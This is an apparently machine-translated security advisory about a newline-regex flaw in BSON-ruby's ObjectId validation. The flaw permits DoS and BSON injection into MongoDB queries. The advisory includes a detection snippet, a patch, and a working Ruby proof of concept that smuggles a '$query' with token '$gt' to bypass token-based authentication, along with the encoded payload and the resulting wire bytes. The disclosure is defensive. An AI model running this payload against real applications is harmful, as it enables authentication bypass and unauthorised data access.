BSON injection in MongoDB adapter for Ruby

    A bug was found in BSON-ruby, which at best led to a small DoS, but most versions were vulnerable to BSON injection (analog of SQL injection, BSON is a binary JSON analog used to work with the database).

    The feature of regulars in ruby ​​was already somehow mentioned on the hub - with us ^ $ means not just the beginning and end of the line, but also the new line \ n.

    But then in the examples there was only XSS "javascript: a () \ nhttp: //", and I have been looking for an example for a long time when regulars lead to something serious. And a couple of days ago, during an audit of our client’s external libraries, I came across the following code in BSON-ruby.

    def legal?(str)
      !!str.match(/^[0-9a-f]{24}$/i)
    end
    

    This method is responsible for validating the ObjectId - document identifier. For example Order.find (params [: id]) where id is 24 characters from the user input of the form “21141c78d99f23d5f34d3201”.

    After a little investigation, I found out that the regular was first fixed in \ A \ Z in 2012, and then again broken by the maintainer in 2013 as a result of a very suspicious regression .

    In other words, from April 17, 2012 to March 2013, ^ $ was used, then \ A \ Z until April 2013, and then ^ $ again.

    To check if your application is vulnerable, run:

    b=((defined?(Moped::BSON) ? Moped::BSON : BSON)::ObjectId)
    raise "DoS!" if b.legal? "a"*24+"\n"
    raise "Injection!" if b.legal? "a"*24+"\na"
    

    And use this patch if yes:

    def ((defined?(Moped::BSON) ? Moped::BSON : BSON)::ObjectId).legal?(s)
      /\A\h{24}\z/ === s.to_s
    end
    

    If you use an old version of BSON from 2013, then most likely they use \ A \ Z and only a small DoS is possible. Why? Because \ Z in rubles, in addition to the end of the line, allow one \ n at the end. But if we send the id = aaaaaaaaaaaaaaaaaaaaaaaa% 0A that Mongo will swear [conn1] Assertion: 10307: Client Error: bad object in message : invalid bson type in object with _id: ObjectId ( 'aaaaaaaaaaaaaaaaaaaaaaaa').

    However, the Ruby driver does not understand this error and concludes that the node lies. And he pings the mongo another 39 times over the next 5 seconds, scoring the worker with useless work, which can be used as a Denial of Service for some sites.

    But this is nothing compared to what is happening in recent versions of BSON. There you can send a line of the form

    _id = Any binary data \ naaaaaaaaaaaaaaaaaaaaaaaa \ nAny binary data

    What will be unpacked from hex to binary and inserted into the body of the BSON document when requesting mongo without changes (it is assumed that ObjectId is already validated and is inserted in pure form for speed). Using this Proof of Concept, you can make arbitrary requests to mongoes by overwriting the parameters of a BSON document, bypass authentication systems based on tokens or API keys, do DoS, and possibly much more.

    
    require 'uri'
    b = BSON::Document.new
    b["$query"] = {"token" => {"$gt"=>""}}
    payload = b.to_bson[4..-2]
    id_ish = ("\n\n" + "a"*24 + "\n\n")
    fake_id = "a"*24 +
      "\x02_id\0".unpack('H*')[0] +
      [id_ish.size/2 + 1].pack('V').unpack('H*')[0] + id_ish + "00" +
      payload.unpack('H*')[0]
    puts URI.encode(fake_id) # looks like:
    # aaaaaaaaaaaaaaaaaaaaaaaa025f6964000f000000%0A%0Aaaaaaaaaaaaaaaaaaaaaaaaa%0A%0A0003247175657279001b00000003746f6b656e000f000000022467740001000000000000
    User.find fake_id #returns 

    As a result, the injection request arrives at the mongo socket as follows:

    \ x83 \ x00 \ x00 \ x00 \ x02 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ xD4 \ a \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 mng_development.users \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00Q \ x00 \ x00 \ x00 \ a_id \ x00 \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ x02_id \ x00 \ x0F \ x00 \ x00 \ x00 \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ x00 \ x03 $ query \ x00 \ e \ x00 \ x00 \ x00 \ x03token \ x00 \ x0F \ x00 \ x00 \ x00 \ x02 $ gt \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00

    Apply the patch, and remember that in regulars in ruby ​​you always need to use \ A \ z.

    Also popular now: